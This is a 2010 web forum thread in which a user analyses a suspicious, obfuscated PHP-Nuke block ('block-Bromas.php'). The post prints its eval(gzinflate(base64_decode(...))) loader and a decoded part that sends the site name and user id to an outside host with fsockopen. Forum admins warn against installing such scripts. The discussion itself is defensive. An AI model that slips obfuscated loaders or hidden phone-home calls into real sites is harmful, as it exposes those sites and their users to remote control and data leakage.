Ravens PHP Scripts: Forums
 

 

View next topic
View previous topic
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Security - Other
Author Message
hicuxunicorniobestbuildpc
Life Cycles Becoming CPU Cycles


Joined: Aug 13, 2009
Posts: 967
Location: Netherland

PostPosted: Sat Jan 16, 2010 6:24 pm Reply with quote

Hello to everyone. Today a friend send me a protected block. He said he download it from a spanish site but didnt want to install it. He wanted to know if it was safe to run that block on the site. Let's see why people shouldnt trust in protected files.

The name of the block is block-Bromas.php

Bromas=Jokes

Code:
<?php

$hh ="200"; //altura del bloque
/*******************************************************************************/
if (eregi("block-Bromas.php", $_SERVER['PHP_SELF'])) {
    Header("Location: index.php");
    die();
}
?>
<?
eval(gzinflate(base64_decode('FZjFDuxYtkR/pWfdJQ/MpIaSmZk9eTJTmjm//uUdW8ewIWKF//7ff/7+R3Vln381326qP9lR/SvP9orA/q+sirms/vVPMa1lfvclIXBB169VTBFwXXqUxMBwClH
u9MW/wLRelVeO1baSxBGANQhO0xfUjAcF1oNG1jmFdBDM6CsCCbSSoRx4S25XSZ0WxxjQqZUC28zzTo2KOUxg0ANfjtyz7Ufc7PJmpAAxTIgyAjh3WiujpZDNGauQwo4niIQNL39v0Fr8wjnc7wEjxgR9
WrAowp1jXh/aQdRAuUAk+JDxR1h0h0KSA340LOEsxzPCT0wuAT4W75YO/TdqdUGMYiHqrKLsROkshN3hlcilUfBKAmVsjy1GhlUU2CA4mbFn6GbeKm+6EmNGHv45QeYassJTJAQAoalGhuEJQxaa+qhvA
iQt21X7PUEq4wKyIv1scjTdbFbxDlSD0T3kDP2tySsysyKnl44ckw63Ntw/mgVzraVv7iLJyAbwJrf5fte65GWnMMw80HvXo8nb1ytdHRpn1CtT0mh5keEIdHwHzwTOTKreD55HGfXUERzUYIKGSVRSAR
t7F+KyBYn6a2I1ewKFFEsOX5E+TuFW7bv8UHxi/2ZnIEMfABaEmVAw22yHntQDMrq5KV855vCj39h0CWevXVEV3/PFop6cF9HtK5H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oXzughqKR6F6GSqziQ+/y9L4y
eRPdVmAPKkKial9EWn1FzTb5tIfXqCdK00/6+ETs2G8J5kaucx4+oYn5jezH+/XdrjWdXrXvD041y1ak5p/eSA3GwGOzq9yn1rVA0g1EGICAX34vY9IyDZjD8omLXzeoZmWG+oYscnhmHCQfmd5C5ddvu
ZtVoC1ji/HNAMz0z8hGePW52C6LeUzLf+RAk5ohdsvypRWhNqGsbzF4clPW+0MRqajXXH81BlqMfgGMnmCTjoV21wES7v/JelSsO/rwxSbbDlQ3m7sc9u/XiTiwjKKqQ46GPhqddSF1gSN8SlUmf7cV1Q
hCEiLARpnt5X2TCGlpRNLMlsuFB0MnE7tBqlKBKSPIOcyGBY5GOG8EjKpmBcJSec4Z9vLqMbawCXVQjzqZFp+zqrhnjHzNmvBN53YNpWAhoP3BODH2fgvYpWAaYuJWnuTYJhN42sIpLCrCJfnyIVhxUyY
1ZyW7xwBcbgDLH2HFwrfb+/K8fkWV2e7O30c3vUoXqs6DmN3jBItP1VofappOKzOZm3RbhAEYxK8UNlGQRDHQZBx/vvff/7111///sff//vP3/8P')));
?>
<?php
$content .= "".$in."";
fclose($fp);
?>


Decode files

Code:
?><?php$encoding = "iso-8859-1"; $enlo = "si";$estilo = $_POST['estilo'];$lbromas = $_GET['lbromas'];$nbromas = $_GET['nbromas'];$page_location =

$PHP_SELF;$sitename = $HTTP_HOST;$out = "GET /block-Bromas_remote.php?sitename=$sitename&userid=$userid&enlo=$enlo&li=$li&hh=$hh&nbromas=
$nbromas&lbromas=$lbromas HTTP/1.0\r\n";$out.= "Host: Only registered users can see links on this board! Get registered or login! = fsockopen("www.uaxconnection.com", 80, $errno, $errstr,
30);fwrite($fp, $out);$body = false;while (!feof($fp)) {   $s = fgets($fp, 1024);   if ( $body )      $in .= $s;   if ( $s == "\r\n" )      $body = true;}?>
<?


What I notice this block is redirecting to Only registered users can see links on this board! Get registered or login! and this block will stop working if the site is down and if the site has problem with the service your site wont speed up because of this tricky block. Everything there is protected like that. What do u think about it? Shocked
 
View user's profile Send private message Visit poster's website
Raven
Site Admin/Owner


Joined: Aug 27, 2002
Posts: 17086

PostPosted: Sat Jan 16, 2010 8:01 pm Reply with quote

When in doubt - don't!
 
View user's profile Send private message
montego
Site Admin


Joined: Aug 29, 2004
Posts: 9453
Location: Arizona

PostPosted: Tue Jan 19, 2010 8:24 pm Reply with quote

Especially when the script is obfuscated like this one. I wouldn't touch it with a 10ft pole.

_________________
Only registered users can see links on this board! Get registered or login!
Only registered users can see links on this board! Get registered or login! 
View user's profile Send private message Visit poster's website
Display posts from previous:       
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Security - Other

View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You can attach files in this forum
You can download files in this forum


Powered by phpBB © 2001-2007 phpBB Group
All times are GMT - 6 Hours
 
Forums ©